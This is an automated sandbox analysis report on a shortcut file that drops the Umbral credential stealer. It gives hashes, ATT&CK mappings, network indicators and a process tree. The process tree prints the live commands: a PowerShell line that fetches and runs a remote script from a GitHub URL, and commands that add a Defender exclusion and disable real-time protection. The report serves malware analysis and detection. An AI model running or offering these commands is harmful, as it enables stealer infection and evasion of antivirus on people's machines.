umbral | c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033

Analysis

max time kernel
32s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2025, 14:40

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General

Target

1231321312.lnk
Size

2KB
MD5

a83ed03220cbc79bcbcaae9a57d0b95a
SHA1

062d88505a421b491c8614ccff1d8fdd34453e18
SHA256

c30599a71b6129c75b93e7b508cc307928df2677fe1b00357547481662522033
SHA512

97f7b63aa0435cbe3fb597f3a18941d0697c053ff75ccfdfae55f2e0f70afde85e6ef82e0c90077dcbc933247b8ac568f1fd28a7b3cc1f0eb1af9640f409a349

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0009000000024241-19.dat	family_umbral
behavioral1/memory/1140-26-0x00000264A6A30000-0x00000264A6A70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4072	powershell.exe
13	4072	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1428	powershell.exe
4916	powershell.exe
536	powershell.exe
4072	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3920955164-3782810283-1225622749-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1140	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
35	discord.com
5	raw.githubusercontent.com
7	raw.githubusercontent.com
34	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6060	wmic.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4072	powershell.exe
4072	powershell.exe
536	powershell.exe
536	powershell.exe
1428	powershell.exe
1428	powershell.exe
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	1140	Umbral.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeIncreaseQuotaPrivilege	2764	wmic.exe
Token: SeSecurityPrivilege	2764	wmic.exe
Token: SeTakeOwnershipPrivilege	2764	wmic.exe
Token: SeLoadDriverPrivilege	2764	wmic.exe
Token: SeSystemProfilePrivilege	2764	wmic.exe
Token: SeSystemtimePrivilege	2764	wmic.exe
Token: SeProfSingleProcessPrivilege	2764	wmic.exe
Token: SeIncBasePriorityPrivilege	2764	wmic.exe
Token: SeCreatePagefilePrivilege	2764	wmic.exe
Token: SeBackupPrivilege	2764	wmic.exe
Token: SeRestorePrivilege	2764	wmic.exe
Token: SeShutdownPrivilege	2764	wmic.exe
Token: SeDebugPrivilege	2764	wmic.exe
Token: SeSystemEnvironmentPrivilege	2764	wmic.exe
Token: SeRemoteShutdownPrivilege	2764	wmic.exe
Token: SeUndockPrivilege	2764	wmic.exe
Token: SeManageVolumePrivilege	2764	wmic.exe
Token: 33	2764	wmic.exe
Token: 34	2764	wmic.exe
Token: 35	2764	wmic.exe
Token: 36	2764	wmic.exe
Token: SeIncreaseQuotaPrivilege	2764	wmic.exe
Token: SeSecurityPrivilege	2764	wmic.exe
Token: SeTakeOwnershipPrivilege	2764	wmic.exe
Token: SeLoadDriverPrivilege	2764	wmic.exe
Token: SeSystemProfilePrivilege	2764	wmic.exe
Token: SeSystemtimePrivilege	2764	wmic.exe
Token: SeProfSingleProcessPrivilege	2764	wmic.exe
Token: SeIncBasePriorityPrivilege	2764	wmic.exe
Token: SeCreatePagefilePrivilege	2764	wmic.exe
Token: SeBackupPrivilege	2764	wmic.exe
Token: SeRestorePrivilege	2764	wmic.exe
Token: SeShutdownPrivilege	2764	wmic.exe
Token: SeDebugPrivilege	2764	wmic.exe
Token: SeSystemEnvironmentPrivilege	2764	wmic.exe
Token: SeRemoteShutdownPrivilege	2764	wmic.exe
Token: SeUndockPrivilege	2764	wmic.exe
Token: SeManageVolumePrivilege	2764	wmic.exe
Token: 33	2764	wmic.exe
Token: 34	2764	wmic.exe
Token: 35	2764	wmic.exe
Token: 36	2764	wmic.exe
Token: SeIncreaseQuotaPrivilege	896	wmic.exe
Token: SeSecurityPrivilege	896	wmic.exe
Token: SeTakeOwnershipPrivilege	896	wmic.exe
Token: SeLoadDriverPrivilege	896	wmic.exe
Token: SeSystemProfilePrivilege	896	wmic.exe
Token: SeSystemtimePrivilege	896	wmic.exe
Token: SeProfSingleProcessPrivilege	896	wmic.exe
Token: SeIncBasePriorityPrivilege	896	wmic.exe
Token: SeCreatePagefilePrivilege	896	wmic.exe
Token: SeBackupPrivilege	896	wmic.exe
Token: SeRestorePrivilege	896	wmic.exe
Token: SeShutdownPrivilege	896	wmic.exe
Token: SeDebugPrivilege	896	wmic.exe
Token: SeSystemEnvironmentPrivilege	896	wmic.exe
Token: SeRemoteShutdownPrivilege	896	wmic.exe
Token: SeUndockPrivilege	896	wmic.exe
Token: SeManageVolumePrivilege	896	wmic.exe
Token: 33	896	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 868 wrote to memory of 4072	868	cmd.exe	87
PID 868 wrote to memory of 4072	868	cmd.exe	87
PID 4072 wrote to memory of 1140	4072	powershell.exe	91
PID 4072 wrote to memory of 1140	4072	powershell.exe	91
PID 1140 wrote to memory of 536	1140	Umbral.exe	93
PID 1140 wrote to memory of 536	1140	Umbral.exe	93
PID 1140 wrote to memory of 1428	1140	Umbral.exe	96
PID 1140 wrote to memory of 1428	1140	Umbral.exe	96
PID 1140 wrote to memory of 2764	1140	Umbral.exe	100
PID 1140 wrote to memory of 2764	1140	Umbral.exe	100
PID 1140 wrote to memory of 896	1140	Umbral.exe	102
PID 1140 wrote to memory of 896	1140	Umbral.exe	102
PID 1140 wrote to memory of 2740	1140	Umbral.exe	104
PID 1140 wrote to memory of 2740	1140	Umbral.exe	104
PID 1140 wrote to memory of 4916	1140	Umbral.exe	106
PID 1140 wrote to memory of 4916	1140	Umbral.exe	106
PID 1140 wrote to memory of 6060	1140	Umbral.exe	108
PID 1140 wrote to memory of 6060	1140	Umbral.exe	108

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1231321312.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sigmanip/reallogs123fr/refs/heads/main/download_and_run.ps1' -UseBasicParsing).Content"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1428
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2764
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:896
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4916
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:6060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b19913357989f970be504865ba652cca

SHA1
cae60927136a52ea75f6ab621494fc4251c9f215

SHA256
1a12d18378c1ee54857475e7685beea587c8b0f97bce15037064e98f9517864e

SHA512
9dd210ad35a60abb11127cb73ada17b1b506c892f083674b0e5057d6ed179e02729e8742ef0433040890f9c5c523e0a315620f9fa035556fbc5515b65162c5ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fe32430ab97c0308ed326ed9a7dd94d1

SHA1
7f10913ddfec7fd269da79de83156cd07623410a

SHA256
74ce5bee24a7c0a66983eea9391cb607f1d15d2c30a633a259b9517804ebe7a0

SHA512
a38c58cca3c40cea8995f3fa50d32035366d1d990ce264557af1a3cad2eb39023433f9ac362f2ae67d25ce1a8bd76d1cb2444d3a2fc1d24df465490bbcb6c839

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
68b35208a6ccc5cf6cfa41f86712e7ab

SHA1
34c735c3cc8fd7f9d225cd7323e5632aa772f465

SHA256
4a7c61f2655323ab50ae5d82063c96f5f8bad0ea39c0e6895b6354668b425279

SHA512
f05d7f10ee0a9ebef78696c86ec8f973242aafba3004cd6ee753b8ca44916b898befcca907b27ec711db60bb5141dc57cf36a00545cf4253136e1ecb63194f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yk02j4iv.4zh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1140-54-0x00000264C1250000-0x00000264C12C6000-memory.dmp

Filesize
472KB

Download
memory/1140-26-0x00000264A6A30000-0x00000264A6A70000-memory.dmp

Filesize
256KB

Download
memory/1140-53-0x00000264C1180000-0x00000264C11D0000-memory.dmp

Filesize
320KB

Download
memory/1140-55-0x00000264A86B0000-0x00000264A86CE000-memory.dmp

Filesize
120KB

Download
memory/1140-62-0x00000264C1000000-0x00000264C100A000-memory.dmp

Filesize
40KB

Download
memory/1140-63-0x00000264C1150000-0x00000264C1162000-memory.dmp

Filesize
72KB

Download
memory/4072-29-0x00007FFFD1A30000-0x00007FFFD24F1000-memory.dmp

Filesize
10.8MB

Download
memory/4072-14-0x00007FFFD1A30000-0x00007FFFD24F1000-memory.dmp

Filesize
10.8MB

Download
memory/4072-13-0x00007FFFD1A30000-0x00007FFFD24F1000-memory.dmp

Filesize
10.8MB

Download
memory/4072-2-0x00007FFFD1A33000-0x00007FFFD1A35000-memory.dmp

Filesize
8KB

Download
memory/4072-12-0x0000015BE8A90000-0x0000015BE8AB2000-memory.dmp

Filesize
136KB

Download